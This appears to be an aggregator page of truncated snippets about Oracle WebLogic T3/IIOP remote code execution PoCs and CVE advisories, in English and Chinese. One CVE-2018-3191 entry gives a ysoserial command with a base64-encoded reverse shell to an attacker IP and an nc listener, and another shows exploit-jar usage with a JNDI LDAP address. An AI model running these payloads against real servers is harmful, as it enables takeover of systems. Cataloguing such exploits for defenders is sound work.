Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

POC_CVE-2020-2555

POCCVE-2020-2555 poc for CVE-2020-2555 3 part: Client & Server: to build object and send to Server, trigger gadgetchain. Use it for build owner object. Attack: send object via T3 protocol with pwntools...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp root@kitploit: CVE20202551...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

CVE-2018-3191

Weblogic-CVE-2018-3191远程代码命令执行漏洞 weblogic For Docker 环境 0x00 简介 北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。 该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。 Oracle官方CPU链接：...

CVE-2023-21839

CVE-2023-21839 分析 该漏洞是因为通过t3或iiop协议绑定了对象之后调用lookup或list方法的时候触发了绑定对象的getReferent方法 调用栈 t3协议的 root@kitploit: getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856, BasicNamingNode weblogic.jndi.internal lookup:209,...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet 测试POC（可用于外网测试） python CVE-2020-2551.py HOST IP 尝试修改codebase进行远程类加载（失败） python CVE-2020-TEST.py HOST IP 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造 （首发于安全客，原文链接） 0x00 基础概念 学习这个漏洞需要一些前置知识，比如CORBA与RMI 简单的概述一下：...

cve-2020-2555

CVE-2020-2555 运行Main.java会在当前目录下生成payload.ser，该payload可以使用t3协议发到目标服务器...

CVE-2019-2890

CVE-2019-2890 克隆代码自 https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890 WebLogic T3漏洞利用...

woodpecker-plugins

woodpecker-plugins usage Copie el plugin en el directorio woodpecker-framwork/plugin y ejecute java -jar woodpecker-framework.1.3.3.jar de https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...

CVE-2017-10271

LAB 2 - CVE-2017-10271：WebLogic XMLDecoder 反序列化漏洞 Writeup 一、系统分析 系统日志分析 检测到的服务： Oracle WebLogic Server（AdminServer，属于 basedomain，以 Development Mode 运行）。 连接端口： 7001。 支持的协议： http、t3、iiop、ldap、snmp。 攻击面评估： 该服务在 7001 端口上暴露了 t3 协议。如果 WebLogic 版本未针对与通过 RMI（远程方法调用）进行 Java 对象反序列化相关的漏洞打补丁，这一默认配置会带来高风险。 We...

CVE-2020-14645

CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...

Oracle WebLogic Server (August 2026 CPU)

The 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 versions of WebLogic Server installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CPU advisory. - Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core...

CVE-2026-60971

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60921

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60716

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60722

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60702

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromi...

CVE-2026-60696

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to...